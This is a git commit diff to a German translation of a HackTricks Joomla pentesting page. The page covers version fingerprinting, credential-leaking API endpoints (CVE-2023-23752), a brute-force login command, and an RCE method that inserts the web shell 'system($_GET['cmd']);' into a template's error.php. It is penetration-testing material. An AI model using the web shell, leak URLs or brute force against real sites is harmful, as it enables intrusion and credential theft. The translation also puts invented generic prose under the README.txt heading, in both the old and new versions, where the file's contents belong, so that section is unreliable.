mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['network-services-pentesting/pentesting-web/joomla.md'] to d
This commit is contained in:
parent
1bac6fc70e
commit
73ef6e3124
1 changed files with 31 additions and 68 deletions
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks-Repository](https://github.com/carlospolop/hacktricks) und das [hacktricks-cloud-Repository](https://github.com/carlospolop/hacktricks-cloud) senden**.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [HackTricks-Repository](https://github.com/carlospolop/hacktricks) und das [HackTricks-Cloud-Repository](https://github.com/carlospolop/hacktricks-cloud)** einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
### Joomla-Statistiken
|
||||
|
||||
Joomla sammelt einige anonyme [Nutzungsstatistiken](https://developer.joomla.org/about/stats.html) wie die Aufschlüsselung der Joomla-, PHP- und Datenbankversionen sowie der auf Joomla-Installationen verwendeten Serverbetriebssysteme. Diese Daten können über ihre öffentliche [API](https://developer.joomla.org/about/stats/api.html) abgefragt werden.
|
||||
Joomla sammelt einige anonyme [Nutzungsstatistiken](https://developer.joomla.org/about/stats.html) wie die Aufschlüsselung der Joomla-, PHP- und Datenbankversionen sowie der verwendeten Betriebssysteme auf Joomla-Installationen. Diese Daten können über ihre öffentliche [API](https://developer.joomla.org/about/stats/api.html) abgefragt werden.
|
||||
```bash
|
||||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||
|
||||
|
@ -44,7 +44,7 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|||
```
|
||||
## Enumeration
|
||||
|
||||
### Discovery/Footprinting
|
||||
### Entdeckung/Fußabdruck
|
||||
|
||||
* Überprüfen Sie die **Meta**
|
||||
```bash
|
||||
|
@ -52,15 +52,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
|||
|
||||
<meta name="generator" content="Joomla! - Open Source Content Management" />
|
||||
```
|
||||
# robots.txt
|
||||
|
||||
Die `robots.txt`-Datei ist eine Textdatei, die auf einer Website platziert wird, um Suchmaschinen-Roboter darüber zu informieren, welche Teile der Website sie durchsuchen dürfen und welche nicht. Sie wird normalerweise im Stammverzeichnis der Website platziert.
|
||||
|
||||
Die Syntax der `robots.txt`-Datei besteht aus einer oder mehreren Anweisungen, die von User-Agenten gefolgt werden. Jede Anweisung besteht aus dem User-Agent und den zugehörigen Disallow- oder Allow-Direktiven.
|
||||
|
||||
Die `Disallow`-Direktive gibt an, welche Teile der Website für den angegebenen User-Agent nicht durchsucht werden dürfen. Die `Allow`-Direktive gibt an, welche Teile der Website für den angegebenen User-Agent durchsucht werden dürfen.
|
||||
|
||||
Es ist wichtig zu beachten, dass die `robots.txt`-Datei nur eine Anweisung für Suchmaschinen-Roboter ist und keine Sicherheitsmaßnahme darstellt. Es ist möglich, dass nicht alle Suchmaschinen-Roboter die `robots.txt`-Datei beachten, und daher sollten sensible Informationen nicht in Verzeichnissen platziert werden, die von der `robots.txt`-Datei ausgeschlossen sind.
|
||||
* robots.txt
|
||||
```
|
||||
# If the Joomla site is installed within a folder
|
||||
# eg www.example.com/joomla/ then the robots.txt file
|
||||
|
@ -72,49 +64,25 @@ Es ist wichtig zu beachten, dass die `robots.txt`-Datei nur eine Anweisung für
|
|||
```
|
||||
* README.txt
|
||||
|
||||
# Joomla
|
||||
## Joomla
|
||||
|
||||
Joomla ist ein beliebtes Content-Management-System (CMS), das für die Erstellung von Websites verwendet wird. Es bietet eine Vielzahl von Funktionen und Erweiterungen, die es Benutzern ermöglichen, ihre Websites anzupassen und zu verwalten.
|
||||
### Joomla-Website-Pentesting
|
||||
|
||||
## Schwachstellen in Joomla
|
||||
Joomla ist ein beliebtes Content-Management-System (CMS), das für Websites verwendet wird. Beim Pentesting von Joomla-Websites gibt es einige wichtige Punkte zu beachten:
|
||||
|
||||
Wie bei jedem CMS gibt es auch in Joomla potenzielle Schwachstellen, die von Angreifern ausgenutzt werden können. Hier sind einige der häufigsten Schwachstellen in Joomla:
|
||||
1. **Versionsüberprüfung:** Stellen Sie sicher, dass Sie die genaue Joomla-Version identifizieren, da ältere Versionen möglicherweise anfällig für bekannte Schwachstellen sind.
|
||||
|
||||
1. Veraltete Versionen: Wenn Joomla nicht auf dem neuesten Stand gehalten wird, können bekannte Sicherheitslücken ausgenutzt werden.
|
||||
2. **Bruteforce-Angriffe:** Führen Sie Bruteforce-Angriffe auf die Login-Seite durch, um schwache Passwörter zu identifizieren.
|
||||
|
||||
2. Unsichere Erweiterungen: Drittanbieter-Erweiterungen können Sicherheitslücken enthalten, die von Angreifern ausgenutzt werden können.
|
||||
3. **SQL-Injection:** Überprüfen Sie die Website auf mögliche SQL-Injection-Schwachstellen, insbesondere in Formularen oder Suchfunktionen.
|
||||
|
||||
3. Schwache Passwörter: Schwache oder leicht zu erratende Passwörter können es Angreifern ermöglichen, sich in das Joomla-Backend einzuloggen.
|
||||
4. **Datei-Upload:** Testen Sie die Website auf Schwachstellen im Datei-Upload-Prozess, um zu verhindern, dass bösartige Dateien hochgeladen werden.
|
||||
|
||||
4. Fehlende Sicherheitsupdates: Wenn Sicherheitsupdates nicht regelmäßig installiert werden, bleiben potenzielle Schwachstellen offen.
|
||||
5. **Plug-in-Schwachstellen:** Überprüfen Sie alle installierten Plug-ins auf bekannte Sicherheitslücken und aktualisieren Sie sie regelmäßig.
|
||||
|
||||
## Joomla-Penetrationstests
|
||||
6. **Verzeichnis-Traversal:** Stellen Sie sicher, dass die Website nicht anfällig für Verzeichnis-Traversal-Angriffe ist, bei denen ein Angreifer auf Dateien außerhalb des Webverzeichnisses zugreifen kann.
|
||||
|
||||
Bei einem Joomla-Penetrationstest werden verschiedene Techniken angewendet, um die Sicherheit einer Joomla-Website zu überprüfen. Hier sind einige der gängigen Techniken:
|
||||
|
||||
1. Information Gathering: Durch das Sammeln von Informationen über die Joomla-Website können potenzielle Schwachstellen identifiziert werden.
|
||||
|
||||
2. Schwachstellenanalyse: Durch die Überprüfung der Joomla-Version und der installierten Erweiterungen können bekannte Schwachstellen ermittelt werden.
|
||||
|
||||
3. Brute-Force-Angriffe: Durch das Ausprobieren verschiedener Kombinationen von Benutzernamen und Passwörtern kann versucht werden, sich in das Joomla-Backend einzuloggen.
|
||||
|
||||
4. Exploits: Durch die Ausnutzung bekannter Schwachstellen können Angreifer Zugriff auf das Joomla-Backend erlangen.
|
||||
|
||||
## Sicherheitsmaßnahmen für Joomla
|
||||
|
||||
Um die Sicherheit einer Joomla-Website zu verbessern, sollten folgende Maßnahmen ergriffen werden:
|
||||
|
||||
1. Aktualisierung: Halten Sie Joomla und alle Erweiterungen auf dem neuesten Stand, um bekannte Sicherheitslücken zu schließen.
|
||||
|
||||
2. Sichere Passwörter: Verwenden Sie starke Passwörter für das Joomla-Backend und ändern Sie sie regelmäßig.
|
||||
|
||||
3. Überprüfung von Erweiterungen: Überprüfen Sie regelmäßig, ob installierte Erweiterungen sicher sind und aktualisieren Sie diese gegebenenfalls.
|
||||
|
||||
4. Sicherheitsupdates: Installieren Sie regelmäßig Sicherheitsupdates, um potenzielle Schwachstellen zu schließen.
|
||||
|
||||
## Fazit
|
||||
|
||||
Joomla ist ein leistungsfähiges CMS, das jedoch auch potenzielle Schwachstellen aufweisen kann. Durch die Durchführung von Penetrationstests und die Umsetzung von Sicherheitsmaßnahmen können Joomla-Websites besser geschützt werden.
|
||||
Durch die Durchführung dieser Tests können Sie die Sicherheit einer Joomla-Website verbessern und potenzielle Schwachstellen identifizieren, die behoben werden müssen.
|
||||
```
|
||||
1- What is this?
|
||||
* This is a Joomla! installation/upgrade package to version 3.x
|
||||
|
@ -127,16 +95,23 @@ Joomla ist ein leistungsfähiges CMS, das jedoch auch potenzielle Schwachstellen
|
|||
* In **/administrator/manifests/files/joomla.xml** können Sie die Version sehen.
|
||||
* In **/language/en-GB/en-GB.xml** können Sie die Version von Joomla erhalten.
|
||||
* In **plugins/system/cache/cache.xml** können Sie eine ungefähre Version sehen.
|
||||
|
||||
### Automatisch
|
||||
```bash
|
||||
droopescan scan joomla --url http://joomla-site.local/
|
||||
```
|
||||
In[ **80,443 - Pentesting Web Methodology**](./#cms-scanners) gibt es einen Abschnitt über CMS-Scanner, die Joomla scannen können.
|
||||
In [**80,443 - Pentesting Web Methodology**](./#cms-scanners) ist ein Abschnitt über CMS-Scanner, die Joomla scannen können.
|
||||
|
||||
### API Unauthenticated Information Disclosure:
|
||||
Versionen von 4.0.0 bis 4.2.7 sind anfällig für unauthentifizierte Informationsfreigabe (CVE-2023-23752), die Anmeldeinformationen und andere Informationen preisgeben wird.
|
||||
|
||||
* Benutzer: `http://<host>/api/v1/users?public=true`
|
||||
|
||||
* Konfigurationsdatei: `http://<host>/api/index.php/v1/config/application?public=true`
|
||||
|
||||
**MSF-Modul**: `scanner/http/joomla_api_improper_access_checks` oder Ruby-Skript: [51334](https://www.exploit-db.com/exploits/51334)
|
||||
|
||||
### Brute-Force
|
||||
|
||||
Sie können dieses [Skript](https://github.com/ajnik/joomla-bruteforce) verwenden, um einen Brute-Force-Angriff auf den Login zu versuchen.
|
||||
Sie können dieses [Skript](https://github.com/ajnik/joomla-bruteforce) verwenden, um versuchen, das Login per Brute-Force zu knacken.
|
||||
```shell-session
|
||||
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
||||
|
||||
|
@ -144,23 +119,11 @@ admin:admin
|
|||
```
|
||||
## RCE
|
||||
|
||||
Wenn es Ihnen gelungen ist, **Admin-Anmeldeinformationen** zu erhalten, können Sie **RCE darin** erreichen, indem Sie einen **PHP-Code-Schnipsel** hinzufügen, um **RCE** zu erlangen. Dies können wir tun, indem wir eine **Vorlage anpassen**.
|
||||
Wenn es Ihnen gelungen ist, **Admin-Anmeldeinformationen zu erhalten**, können Sie **RCE darin** durch das Hinzufügen eines Schnipsels von **PHP-Code** erlangen, um **RCE** zu erlangen. Dies können wir tun, indem wir eine **Vorlage anpassen**.
|
||||
|
||||
1. **Klicken** Sie auf **`Templates`** unten links unter `Configuration`, um das Menü der Vorlagen aufzurufen.
|
||||
2. **Klicken** Sie auf den Namen einer **Vorlage**. Wählen wir **`protostar`** unter der Spaltenüberschrift `Template`. Dadurch gelangen wir zur Seite **`Templates: Customise`**.
|
||||
3. Schließlich können Sie auf eine Seite klicken, um den **Seitenquellcode** aufzurufen. Wählen wir die Seite **`error.php`**. Wir fügen einen **PHP-Einzeiler hinzu, um Codeausführung zu erlangen**, wie folgt:
|
||||
1. Klicken Sie auf **`Templates`** unten links unter `Configuration`, um das Vorlagenmenü aufzurufen.
|
||||
2. Klicken Sie auf einen **Vorlagennamen**. Wählen wir **`protostar`** unter dem `Template`-Spaltenheader aus. Dadurch gelangen wir zur Seite **`Templates: Customise`**.
|
||||
3. Klicken Sie schließlich auf eine Seite, um den **Seitenquelltext** aufzurufen. Wählen wir die Seite **`error.php`** aus. Wir fügen einen **PHP-Einzeller hinzu, um Codeausführung zu erlangen**, wie folgt:
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **Speichern & Schließen**
|
||||
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks repo](https://github.com/carlospolop/hacktricks) und [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** einreichen.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue